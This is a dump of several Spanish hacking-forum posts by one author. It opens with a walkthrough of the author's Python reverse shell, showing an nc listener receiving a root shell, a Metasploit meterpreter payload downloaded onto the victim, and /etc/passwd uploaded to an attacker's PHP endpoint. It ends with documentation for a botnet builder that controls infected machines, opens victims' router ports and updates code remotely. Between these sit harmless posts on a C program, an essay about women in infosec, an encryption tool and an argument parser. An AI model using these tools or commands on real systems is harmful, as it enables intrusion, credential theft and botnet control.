- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Código: bash
git clone https://github.com/DtxdF/Miindeath.git
cd Miindeath


Modo de ejecución

Código: bash
editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto


Ejemplo:

Código: python
...
class config(object):

    RHOST = '127.0.0.1'
    RPORT = 4444
    LIMIT = 0 # 0 Es infinito
    #timeout = 180 # 3 minutos
    # Los bufers de red
    RECV = 1024
    SEND = 1024
    HEADERS = {
           
        'User-Agent':'Hi!, My Name is DtxdF :)'
           
    }
   
    # Claves de los valores POST
    FILENAME = 'filename' # El nombre del archivo
    FILECONTENT = 'filecontent' # El contenido del archivo

    UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell
                       # cualquiera, para ejecutar varios
                       # comandos internos.
    SLEEP = 15
    RECONNECT = True # Reconectar sí hay una desconexión, doh.
...


Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Código: bash
# Victima:
$ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
...
# Atacante:
$ nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 32974
(5857): [email protected]:/home/dtxdf/tmp$ shell whoami
root
...


Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:


Código: python
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...


También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...


Código: bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
No platform was selected, choosing Msf::Module::Platform::Python from the payload
No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 446 bytes
Saved as: script.py


En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081")


Código: php
<?php

if (isset($_POST['filename'])&&isset($_POST['filecontent'])) {

fwrite(fopen(basename($_POST['filename']), 'wb'), $_POST['filecontent']);

}

?>


En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:


Código: bash
(5857): [email protected]:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
Guardado => /tmp/payload.py


Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:


Código: bash
(5857): [email protected]:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
/etc/passwd, fue subido correctamente


:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

Repositorio: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#52
C / C++ / Calcular el número E
Diciembre 11, 2019, 12:28:50 PM
¡Hola!. Estoy un poco aburrido y busqué la formula para calcular el número "E"; sí quieren ejecuten y compren algunas cotufas mientras miran cómo se genera  :D

Código: c
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {

long double n=1;

while (1) {

printf("\033[2J\033[1f");
printf("e: %.52f", pow(1+1/n, n));
fflush(stdout);

n += 1.0;

sleep(0.1);

}

return EXIT_SUCCESS;

}


~ DtxdF
#53
Off Topic / Tu granito de arena...
Diciembre 08, 2019, 08:16:09 AM
Antes de continuar, no quiero que pienses que quiero causar una polémica, no quiero difundir odio, ni miedo, ni tristesa, nada de eso, al contrario, las palabras que hoy haré referencia pertenecen a Sheila A. Berta desde su mismo blog "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta".

Lo que voy a hacer referencia es sobre un problema que lo sostienen las mujeres de este mundo y cómo ella misma me dijo que es excelente poner nuestro granito de arena, para ir mejorando poco a poco, espero que ustedes también lo hagan.

Ella y yo, estamos en total acuerdo en dos cosas. La primera es que para el entorno Informático es algo pesado o difícil para una mujer y la segunda es que ha estado mejorando con el tiempo todo eso, pero muy poco a poco.

Ahora sí, continuemos...



En la nota de reset que escribí hace un tiempo, les conté que hace 12 años que me dedico a la seguridad informática. En ese entonces, cuando empecé, no había carreras, diplomaturas ni cursos sobre este tema (al menos no accesibles para mí), por lo que mi forma de aprender fue exclusivamente de manera autodidacta leyendo en foros de hacking a aquellas personas que afortunadamente compartían sus conocimientos con los demás.

Para acceder a estos foros, era necesario crearse un usuario, todos teníamos nuestro nickname (y de hecho, varios de los colegas con los cuales mantengo amistad hasta el día de hoy los conocí inicialmente por su apodo en los foros "underground" y no por su nombre real). Mi primer nickname fue femenino, es decir, que me identificaba como mujer; lo mantuve por 2 años hasta que me cansé de las críticas y pasé a registrarme en los foros con un nuevo usuario, utilizando un apodo masculino. ¿Qué críticas recibía? La mayoría me atacaba diciendo que en realidad no era mujer (es que no había mujeres en aquellos foros) y me decían que seguramente yo era un hombre utilizando un apodo de mujer para atraer a otros hombres y así supuestamente lograr que me compartan conocimientos y exploits/herramientas privadas; por ello recibía muchos insultos, entre otras cosas. Hoy lo redacto y me río, pero en aquel entonces fue bastante abrumador, tan así que como dije, desaparecí mi usuario real y me creé otro identificándome como hombre y así pude estar tranquila durante varios años.

En algún punto que tuviera que ser así me afectó un poco, porque me obligó a un aislamiento que no era bueno, en el sentido de que por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación. 7 años después apareció alguien en mi camino (o yo en el de esa persona, no lo sé) y me insistió en que fuera, que iba a estar ahí para cuidarme y no pasaría nada. Finalmente fuí y apartir de ahí comencé a incluirme y participar en las conferencias y meetups de infosec de mi ciudad, y de otros países también :)

Hoy todos me conocen por mi nombre real, saben quien soy y -dejando de lado algún que otro caso aislado- recibo un gran respeto y cariño por parte de toda la comunidad. Sin embargo hay algo que persiste en el tiempo, y es que seguimos siendo muy pocas mujeres dedicadas a seguridad informática; aunque por supuesto hay muchas más que hace 12 años atrás, se sigue notando la ausencia en las empresas, en los eventos, en los cursos, etc. La ausencia de mujeres se percibe en todo IT, aunque en un área tan específica como infosec se siente bastante más. Varias veces leí que las mujeres en seguridad informática son menos del 10% del total de especialistas en todo el mundo, pero bueno, no vamos a hablar de las deprimentes estadísticas ahora, no hace falta, creo que todos somos conscientes de la falta de mujeres en estas áreas.

Para combatir esto e incrementar la participación de mujeres en IT, se han armado muchísimas iniciativas en todas las diferentes áreas, principalmente en programación y sysadmin. Las inciativas se enfocan en incentivar, capacitar e insertar a las mujeres en el mercado laboral. Son las tres cosas fundamentales: para que haya más mujeres en IT hay que incentivar a aquellas que puedan tener interés en desarrollarse en alguna de estas áreas; acto seguido hay que ayudarlas a capacitarse, muchas veces esto viene en forma de becas o cursos gratuitos para ellas impartidos por diferentes organizaciones; por último abrir los caminos para que logren insertarse en el mercado laboral y seguir progresando.

Después de leer la historia, mi historia, con la que abrí esta nota, me gustaría que todas esas iniciativas para incluir a más mujeres en IT te parezcan tan geniales como me parecen a mí. Pero sé que no es así, y me duele ver como muchas de todas estas iniciativas son fuertemente criticadas por un gran porcentaje de hombres (e incluso por algunas mujeres también).

Las peores críticas recaen sobre las capacitaciones exclusivas para mujeres, sobre las facilidades para acceder al conocimiento. He leído infinidad de comentarios diciendo "No me dejan participar de la capacitación por ser hombre, me están discriminando", "¿Se imaginan si se hiciera un curso exclusivo para hombres? Sería un bochorno, ¿Por qué para ellas si lo hacen y dicen que está bien?", "Si quieren que haya igualdad no debería ser así" y un largo etcétera.

Sin lugar a dudas, si en IT existiera hoy en día la paridad de género y en todas las áreas hubiera un 50% de hombres y 50% de mujeres, las actividades exclusivas para un género u otro estarían discriminando al sexo opuesto. Pero esto no es así, entonces debemos ubicarnos en el contexto que corresponde, estamos hablando de una minoría que requiere ser ayudada.

En IT, y especialmente en seguridad informática, las mujeres son una minoría, esto significa: "Parte de un conjunto o grupo que representa el porcentaje menor o más pequeño de todo el conjunto o grupo." Si el caso fuera al revés, y la minoría en IT fueran los hombres, sería necesario aplicar todas las mismas iniciativas para ellos: incentivarlos, capacitarlos e insertarlos en el mercado laboral. Si esto fuera así y se realizaran capacitaciones exclusivas para mujeres -siendo los hombres la minoría- sería absurdamente discriminador, y en lugar de incentivarlos a incluirse en el área los estaríamos alejando cada vez más. ¿Se entiende la diferencia? Una minoría necesita ser ayudada por toda la comunidad, una de las mejores formas de lograrlo es brindándole facilidad de acceso al conocimiento. En el caso de las mujeres, el hecho de que existan capacitaciones exclusivas para ellas resulta de enorme ayuda ¿Por qué?

Por varios motivos, siendo hombre seguramente habrás notado en todos los cursos que asististe, que casi no tenías compañeras mujeres ¿Verdad? (y si nunca has asistido, puedes buscar fotos de cualquier curso presencial de infosec donde verás 1, 2 ó ninguna mujer). Sin embargo, cuando se ofrece una capacitación exclusiva para ellas, el cupo se llena, a veces rebalsa (caso BlackHoodie, con más de 700 alumnas en una capacitación de reversing). ¿Te preguntaste por qué ellas no van a capacitaciones mixtas pero si a capacitaciones exclusivas? Regresemos un momento a mi historia, hago cita de esta parte:

"por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación."

Muchas veces es la incomodidad de sentirse sola en el aula, lo que evita que las mujeres se inscriban. Pero no solo eso, sino también contemplar la posibilidad de recibir una burla, agresión o crítica, como por ejemplo ocurrió la semana pasada en la Universidad de Canterbury, cuando el profesor Ray Hunt se dirigió a la única mujer del aula y le dijo que el ataque de "Man-In-The-Middle" se llama "Man..." por que las mujeres no pueden hackear. Luego la chica se puso a llorar, y no por la mera frase en sí, es que va más allá, es la angustia de percibir el rechazo después del enorme esfuerzo de animarse a estar allí aunque estés sola.

El sentir la propia desigualdad hace que muy pocas mujeres se animen a participar de capacitaciones mixtas. En el trabajo muchas mujeres sienten que deben demostrar más que los hombres para ser respetadas, en los cursos ocurre lo mismo, muchas mujeres son tratadas como que "entienden menos" que el resto de los alumnos hombres, y ante eso el temor a equivocarse en una práctica y ser doblemente criticada se vuelve terrible.

Los motivos son innumerables, por eso es comprensible que los cursos exclusivos se llenen de mujeres mientras que en los mixtos muchas veces ni siquiera hay. Es triste que sea así pero esto va a ayudar a que de a poco dicha situación cambie. Al capacitar a las mujeres no solo les brindamos conocimiento sino también confianza en si mismas, la confianza les permitirá luego afrontar los desafíos de incluirse en la comunidad y de participar de actividades y capacitaciones mixtas aún cuando todavía sigan siendo una minoría.

Esperamos que finalmente se pueda lograr la paridad de género en todas las áreas de IT y estas iniciativas de inclusión puedan quizás dejar de ser necesarias, pero mientras tanto debemos apoyarlas.

Ojalá con esta nota haya podido ayudar a comprender a al menos una persona, por qué existen hoy en día actividades exclusivas para mujeres en IT, por qué son necesarias, por qué no están mal cómo muchos critican y por qué hay que brindarles soporte.

Gracias por leer!
Sheila A. Berta


Fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#54
Combo



Combo es una pequeña herramienta para cifrar/descifrar archivos usando el algoritmo de Shalom

Una simple instalación

Código: bash
git clone https://github.com/DtxdF/combo
cd combo
./combo.py -h


Ejemplos

Para ver la ayuda

Código: bash
./combo.py -h

  Opcionales:
  ----------

    -h, --help              Mostrar ayuda y sale

  Parámetros principales:
  ----------------------

    -M, --method            Cifrar o Descifrar los datos del archivo. Usé "encrypt" para cifrar y "decrypt" para descifrar
    -f, --file              Archivo objetivo

  Seguridad:
  ---------

    -increment              Incrementar la clave con un byte; se necesita el rango, puede seguir la sintaxis: <byte>,<limite>. Pre-determinado: ('\x00', 500)
    -random                 Usar el algoritmo de shuffle para ordernar al azar el mapa de caracteres
    -index                  El indíce para mover parte del mapa de caracteres según la especificación de Shalom. Pre-determinado: -6
    -rest                   El resto de diferencia según la especificación de Shalom. Pre-determinado: 6


Para cifrar un archivo

Creó el archivo a cifrar:


Código: bash
cat > test.txt
Hello Friend.


Lo cifro:

Código: bash
./combo.py -f test.txt -M encrypt


Vemos el contenido del archivo:

Código: bash
cat test.txt

- [-1466, 1511]
- [-2481, 2526]
- [1982, -1872]
- [-1619, 1736]
- [-3082, 3204]
- [-3941, 4050]
- [2195, -2069]
- [-3932, 4065]
- [2305, -2261]
- [4237, -4101]
- [-1892, 1914]
- [3172, -3128]
- [-3301, 3345]
- [2990, -2893]
- [-3043, 3103]
- [-4107, 4219]
- [-4281, 4380]
- [2056, -1945]
- [-4029, 4091]
- [-3224, 3310]
- [-1834, 1918]
- [2978, -2887]
- [-1687, 1770]
- [-4381, 4493]
- [613, -518]
- [1556, -1446]
- [2936, -2817]
- [-4491, 4615]
- [294, -163]
- [-1449, 1548]
- [767, -647]
- [-761, 872]
- [-3199, 3260]
- [3295, -3186]
- [-1008, 1068]
- [4597, -4465]
- [3957, -3835]
- [4819, -4709]
- [845, -711]
- [-2478, 2538]
- [-2874, 2947]
- [-2405, 2427]


Tu archivo puede tener un contenido diferente

Ahora para descifrarlo:


Código: bash
./combo.py -f test.txt -M decrypt
cat test.txt
Hello Friend.


Puede tardar un poco sí es un archivo de gran tamaño

~ DtxdF
#55
argprogrammer

Argprogrammer es una pequeña libreria para el control de los argumentos proporcionados por el usuario.

Instalación

Argprogrammer es fácil de instalar y no requiere de librerias externas

Código: bash
git clone https://github.com/DtxdF/argprogrammer.git
cd argprogrammer
python3 # o python


Compatibilidad con Python2.x y Python3 :'D

A argprogrammer no le importa sí estás usando la versión 2 o 3, puedes usar todas sus funciones sin problemas

Tutorial

Te muestro un pequeño tutorial para crear nuestra primera aplicación de forma fácil y sencilla

Código: python
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

parser.add(['-t', '--text'], 'text', 'El texto a mostrar', require=True)

args = parser.parse_args()

text = args.text

print('Texto: %s' % (text))


Sí ejecutamos en la terminal: "python o python3 <script>.py -h o --help", veremos ésto:

Código: text
  Parámetros principales:
  -----------------------

    -t, --text          El texto a mostrar

  opcionales:
  ----------

    -h, --help          Mostrar ayuda y sale


¿Eso es todo?

NO, además podemos especificar el tipo de dato y si lo requerimos o no.

Código: python
import argprogrammer
import requests

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)
parser.add(['-v', '--verbose'], 'verbose', 'Activar modo verboso', action=True, type=bool, group=group_optionals)
parser.add(['-H', '--headers'], 'headers', 'Cambiar los encabezados predeterminados', type=dict, group=group_optionals)

# Requeridos

parser.add(['-u', '--url'], 'url', 'Dirección URL', require=True)

args = parser.parse_args()

url = args.url
verbose = args.verbose
headers = args.headers

if (verbose):

print('Haciendo una petición a: {}'.format(url))

print('Datos obtenidos: {}'.format(requests.get(url, headers=headers, verify=False).text))


En la terminal podrias ejecutar la siguiente sentencia para ver algunos de tus datos cómo el "Agente de Usuaro":

Código: bash
python3 <script>.py -u https://www.whatsmyua.info/api/v1/ua -v -H "User-Agent=Hello Friend :D"


Te lo muestra en formato: JSON

Podemos hasta incluso hacer que el usuario ingrese sólo algunos datos en un parámetro:

Código: python
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

# Requeridos

parser.add(['-fruta'], 'fruta', 'Que te gusta comer entre: manzana, durazno, patila', uniqval=['manzana', 'durazno', 'patilla'], require=True)

args = parser.parse_args()

fruta = args.fruta

print('Te gusta comer: {}'.format(fruta))


Código: bash
python3 <script>.py -fruta patilla
Te gusta comer: patilla


En caso de que el usuario no ingrese un valor correcto se muestra lo siguiente:

Código: bash
python3 <script>.py -fruta banana
<script>: El valor "banana" no está permitido debido que no es igual a este/estos valor/es "manzana, durazno, patilla"


Se puede personalizar ese mensaje, tranquila/o

Tipos de datos

Argprogrammer acepta algunos tipos de datos, cómo:


  • tuple
  • list
  • str
  • int
  • range
  • dict
  • hex
  • float
  • hex
  • oct

Tal vez pienses, "¿Algunas cosas que mostraste no son funciones?", Sí, en Python, en argprogrammer No.

Objetivo

Es sólo una pequeña libreria que codifique para un proyecto personal y que comparto con la comunidad, no creo que se compare con "argparse" pero puede que sirva.

~ DtxdF
#56
Syndicate Project



Fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Syndicate Project es un proyecto que te simplifica la creación de botnet's, totalmente escrito en Python (3); así es, puedes crear cientos o miles.

Plataformas:


  • Lamentablemente sólo la probé en Kali linux, pero puede experimentar en otras plataformas.
  • Recomiendo que si usted va a probar Syndicate en Windows, use Cygwin o WSL, aunque no le garantizo nada.
  • En Android técnicamente debería funcionar con Userland, aunque Tmux no es mala elección.

Instalación:

Primero clonamos el repositorio:

Código: bash
git clone https://github.com/DtxdF/Syndicate
cd Syndicate


Y luego instalamos los...

Requerimientos:

Puede optar por una fácil instalación con PIP, pero hay algunos inconvenientes que dependen de usted

En primer lugar, lo que si es necesario ejecutar es No tienes permitido ver enlaces. Registrate o Entra a tu cuenta:

Código: bash
python3 -m pip install -r requirements/requirements.txt


En el archivo podemos encontrar:

Código: text
PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0


Estos son los requerimientos para que funcione lo más principal de Syndicate, mientras que para los complementos se tendría que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar el poder...

Código: bash
python3 -m pip install -r requirements/requirements.complements.txt


En el archivo podemos encontrar:

Código: text
requests==2.22.0
pynput==1.4.5
six==1.13.0
python-xlib==0.25
pygame==1.9.6
mss==4.0.3


Un último requerimiento para los complementos predeterminados sería "PyAudio", pero esto requiere un poco más de su colaboración:

En el caso de Windows:

Seleccioné la versión correspondiente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

En mi caso es: PyAudio‑0.2.11‑cp37‑cp37m‑win32.whl

Mientras que en Linux:


Código: bash
sudo apt-get install libasound-dev portaudio19-dev libportaudio2 libportaudiocpp0
sudo apt-get install ffmpeg
sudo pip install PyAudio==0.2.11


Usted se estará preguntado: ¿Windows?, ya mencionaste que sólo funciona en Linux, Claro, estos requerimientos son para los complementos dependiendo del SO a atacar.

Una vez hecha la instalación, vamos con lo bueno...

Importante:

Antes de continuar quiero aclarar unas cosas...

En Syndicate Project prefiero tener sinonimos para algunas cosas:


  • Evie: El servidor root; centro de comando y control; servidor inicial o nodo inicial
  • Rook: El bot cliente
  • Jacob: El administrador que mantiene al Rook
  • Administrador del servidor: Es el que se encarga de crear, asignar privilegios, configurar y mucho más, para un correcto funcionamiento

Caracteristicas:

Tratare de englobar todas las caracteristicas posibles de Syndicate, espero no me falte nada :)...


  • Mutiples conexiones a la vez
  • Cifrado hibrido en las conexiones. Usando AES256 y RSA a nuestro favor podremos cifrar nuestras comunicaciones oficiales entre Evie's (Servidor), Jacob's (Ciente-Administrador de los Rook's) y Rook's (Cliente-bot).
  • Cifrado simétrico en las bases de datos, tanto de Evie, como la de los rook's. Aunque en los accesos públicos también se usá el mismo esquema.
  • Red punto a punto. La red de los Rook's, no es igual a la de los Evie's, aunque puede haber comunicación entre ellas.
  • Multi-usuario. El administrador del servidor se encarga de crear tanto usuarios Jacob's cómo Rook's con sus respectivos privilegios.
  • Compartir Rook's (Bot's) entre Evie's (Servidores). -Cómo una red social :D-
  • Comunicación por nodos o lo que quiere decir, que creando una red entre Evie's puede hacer pasar cada paquete a una dirección o podría decirse nodos intermedios hasta llegar a un punto final o nodo final (Que vendría siendo otro Evie). La red está diseñada para que no se pueda saber que dirección envío qué y dónde, exceptuando algunas cosas que ya explicaré después y además se tiene que configurar toda la red manualmente; eso brinda más seguridad.
  • Uso de proxies para mayor privacidad (Tanto en los Evie's, Rook's y Jacob's).
  • Sistema antí-fuerza bruta. Es relativo. Relativo según las configuraciones que ejerce el administrador y el mismo usuario. porque el administrdor decide cómo Evie, va a bloquear a un usuario, cuándo y porqué. Dejaré la explicación más adelante.
  • Los complementos se pueden actualizar de forma transparente o lo que quiere decir, que sí tenemos una máquina infectada podremos cambiar el código desde el servidor y ejecutarlo en la máquina correspondiente.
  • Además del cifrado que viene incorporado, podemos agregarle una capa más con https
  • Puedes crear tu propia forma de comunicarte, por lo tanto tiene dinamismo.
  • Los complementos le temen al disco duro, prefieren quedarse en memoria.
  • En el lado de los rook's podemos hacer que el router de la victima abra un puerto con UPnP (Sí está disponible)

Nota: Los privilegios sólo son válidos para los Jacob's

Tipos de configuración


  • Configuración Dinámica: Este tipo de configuración puede cambiar en plena ejecución de Evie dependiendo de lo que haga el administrador del servidor.
  • Configuración Estática: También se puede llamar configuración global, porque en la mayoría de utilidades, herramientas y todo lo que tenga que ver con Syndicate la utiliza; además esta no cambia en plena ejecucion.

Tipos de usuario

En Syndicate Project trato de implementar diferencias entre usuarios para simplificar las explicaciones; en el proyecto se puede encontrar cuatro tipos de usuario:


  • Administrador del servidor: El administrador del servidor es una pieza obligatoria para armar el tablero. Éste se encarga de crear, configurar, manejar y mucho más, de lo que tenga que ver con el funcionamiento interno de Syndicate.
  • Jacob: Él es el cliente-administrador de los rook's. Jacob podrá controlar tantos rook's cómo el Administrador del servidor desee.
  • Rook: El cliente-bot que se encarga de hacer lo que le pida Jacob
  • Public: Yo no diría que es un usuario en sí, se podría decir que es un cliente que quiere usar nuestros servicios públicos. Entre los cuales están:


    • getPubKey: Obtener la Clave Pública de Evie; Puede tener muchos fines esta operación, pero la más importante es cuando compartirmos un rook.
    • saveData: Guarda los datos de perfil del rook
    • resend: Re-envía datos a otro nodo, tanto un nodo final como podría ser un nodo intermedio
    • sendSOS: Comunicación estilo correo electrónico entre Evie's (Incluso envío de archivos)

Nota: Los servicios públicos se pueden bloquear desde el archivo de configuración dinámico

Aclaraciones:

Tengo que explicar algunas cosas que iré mencionando poco a poco a lo largo de este documento:


  • Redirector: Es un Rook que pasa hacer un servidor (No un Evie) dentro de la máquina infectada; consiste en crear un servidor capaz de recibir datos, almacenarlos en una base de datos cifrada dentro de la misma máquina victima, para que luego el administrador del servidor, pueda conectarse, descargar los datos y simular ser Evie, con el único fín de obtener un resultado y enviarselo a un rook de forma transparante o como si no fuera sucedido nada.

    El redirector es buena opción, cuando deseas crear un "Backup" dentro de las máquinas infectadas ¿Por qué?, ¿Te imaginas que tu servidor central cayera? y luego cuando lo vuelvas a levantar ya es muy tarde, no tienes como recuperar la perdida de datos; hay es cuando entra redirector al rescate. Claro que necesitas abrir un puerto en el corta fuegos de la victima. Syndicate se encarga de crear la conexión, tú te encargas de todo lo demás.
  • Hash dinámico: En syndicate se usa un Hash dinámico, para hacer todo lo posble para evitar un ataque de fuerza bruta o por diccionario, usando iteraciones, Número de seguridad, Número de disminución y Caracteres de seguridad; todo esto tiene que ver con el algoritmo utilizado, pero haciendo una aclaratoria:

    • Iteraciones: Las iteraciones son el número de veces que se repite el proceso.
    • Número de seguridad: El número de seguridad se multiplica primero por el mismo y el resultado se usa para delimitar la ofuscación de caracteres de seguridad y luego en la siguiente iteración (Si es que la hay) disminuye usando el número de disminución.
    • Número de disminución: El número de disminución se encarga de disminuir el número de seguridad por cada segunda iteración.
    • Caracteres se seguridad: Los caracteres de seguridad se codifican a base64 y se "parten" y ofuscan usando el número de seguridad y disminución, para luego sumarlos con el resultado verdadero, que quiere decir, el hash.

    Nota: El hash usa la siguiente función: sha256( sha512( string ).digest() ).hexdigest()
  • Token de Acceso: Usado para verificar que tenga acceso público al sistema y cifrar los datos, posteriormente se usaría algún servicio antes mencionado.
  • Clave secreta: La clave secreta cifra algunos datos (Cómo la dirección URL de los nodos) antes de usar "resend" o un reenvio de paquetes en una red, porque que si llega a hacer interceptada, no se pueda "leer" esos datos, por eso su nombre, ésta sólo se debe compartir con las personas de confianza, igual que pasa con el token de acceso.
  • Clave única: La clave única es una clave generada aleatoriamente en la creación de un nuevo Jacob, es importante darsela al administrador correspondiente, porque gracias a ella puede acceder.

    La clave única cada vez que inicie sesión, cambiará, eso es para mantener aún más seguro la estructura.
  • No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: Quiero aclarar, a pesar de que la aplicación No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es la que interectua con el servidor, no es más que una simple herramienta de pruebas, el conejo debajo del sombrero enrealidad es No tienes permitido ver enlaces. Registrate o Entra a tu cuenta; mientras que para controlar a los rook's sería No tienes permitido ver enlaces. Registrate o Entra a tu cuenta en este caso es No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    Hablare de ésto, en otra sección.

Notas:

  • Tú, como administrador del servidor te debes encargar de repartir a personas de confianza el token de acceso, claro sí es qué desean usar los servicios públicos. No es aplicable si es un Jacob y tiene el permiso getToken, porque la puede obtener sin necesidad de perdirla.
  • El token de acceso se tiene que usar mayormente para Compatir un rook o usar resend.
  • En el caso de usar resend, tiene que usar además del token de acceso, la clave secreta.
  • Prefiero que usted usé No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y se comunique con el Evie que desee, para que tenga más seguridad en sus datos y sin limitaciones por parte de servidores externos. Aclaro ésto, porque así es la mejor manera de enviar claves secretas de forma segura. Hay otras alternativas, pero es bueno que uno mismo sea el propio servicio y no depender de otros.
  • Tenga absoluto cuidado con los números y caracteres de seguridad, pueden volver el proceso más lento, pero eso no es tan malo, porque si un atacante quiere hacer fuerza bruta, tiene que esperar a que el servidor genere el hash y luego verificar si es correcto o no. ¿Una maravilla no? :')
  • Sí quieres saber más acerca del algoritmo, puedes hacerlo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Funcionamiento de la Red:

Algunas veces es mejor dejar una simulación en vez de palabras, por lo tanto No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, podrá encontrar el cómo sería la red con todas las caracteristicas y No tienes permitido ver enlaces. Registrate o Entra a tu cuenta el cómo sería cuando Jacob envía datos a través de varios nodos en diferentes países.

Nota: Aunque en esta demostración no explico como es el proceso en que se usan los datos encriptados, en la practica si pasa éso.

Ahora pasemos a la explicación: Es sencilla la red, hay que saber usarla y cuándo, pero para poder entenderla hay que crear desde un principio lo que necesitamos e ir aumentando a medida que vayan incrementando los conocimientos.

Primero crearemos un Jacob (Administrador de los Rook's):

Pero antes de hacer éso, quiero aclarar que algunas herramientas necesitan acceso seguro a la base de datos que está encriptada, por lo tanto sí usted no introduce los parámetros se le va abrir un pequeño formulario requiriendo los datos. Sí no me cree, mirelo usted o mejor aún Pruébelo:


Código: text

./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada>
* Datos para desencriptar la frase de contraseña *
  ----------------------------------------------

Ingrese la frase de contraseña:
: **************
Ingrese los caracteres de seguridad:
: abcdefghijklmnopqrstuvwxyz1234567890
Ingrese el número de iteraciones:
: 43
Ingrese el número de seguridad:
: 30
Ingrese el número de disminución:
: 18
Se guardo satisfactoriamente en -> conf/pass


Notas:


  • Lo que acabo de introducir se genera lento en mi computadora, usted tiene que introducir lo necesario para obtener una mayor seguridad pero que el proceso no se vuelva tan lento; al fin y al cabo usted decide.
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • conf/pass es guardado con permisos "444", por favor verifique que sea así con "ls -l conf/pass" o si no hagalo de forma manual: chmod 444 conf/pass una vez ha sido creada.


¿Ven?, sería tedíoso que tuviera que introducir todas esas cosas, mejor usamos los poderes de la linda terminal :'D:

Código: bash
# Primero veamos que regla estamos usando para guardar los comandos en el historial:
echo $HISTCONTROL
ignoreboth
# ¡Bien!, esa es la regla perfecta.
# Eso nos servirá para cuando introducimos un comando y no queramos que se guarde en el historial, ya que la idea es que no se registre una contraseña o algo sensible.
# Así que ahora guardemos lo que necesitamos en una variable
declare -x params='-db-passphrase <La frase de contraseña> -db-iterations <Iteraciones> -db-chars <Caracteres de Seguridad> -db-decrement-number <Número de disminución> -db-security-number <Número de seguridad>'
# Cómo pueden notar, usé un espacio antes de escribir el comando, para que no se almacene en el historial.
# Claro, pueden hacer éso o pueden crear un script y lo cargan usando "source" o ".", pero se los dejo para la casa...


Ahora simplemente puede ejecutar:

Código: bash
 ./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> $params


Código: text

-*- ¿Es correcta la siguiente información? -*-

Nombre de usuario       ::   <Nombre de usuario>
Frase de contraseña     ::   <Frase de contraseña>
Contraseña RSA          ::   <Frase de contraseña de la clave privada>
Iteraciones             ::   43
Número de seguridad     ::   30
Número de disminución   ::   18
Caracteres de seguridad ::   abcdefghijklmnopqrstuvwxyz1234567890
Privilegios             ::   ALL
Max. de bot's           ::   0 (infinito)
Tamaño de la clave      ::   2048
¿Root?                  ::   0
->


Debe introducir "1" para continuar o "0" para salir, aunque "CTRL-C", también ayuda.

Notas:


  • Sí no quiere que le confirme los datos, usé "-no-confirm".
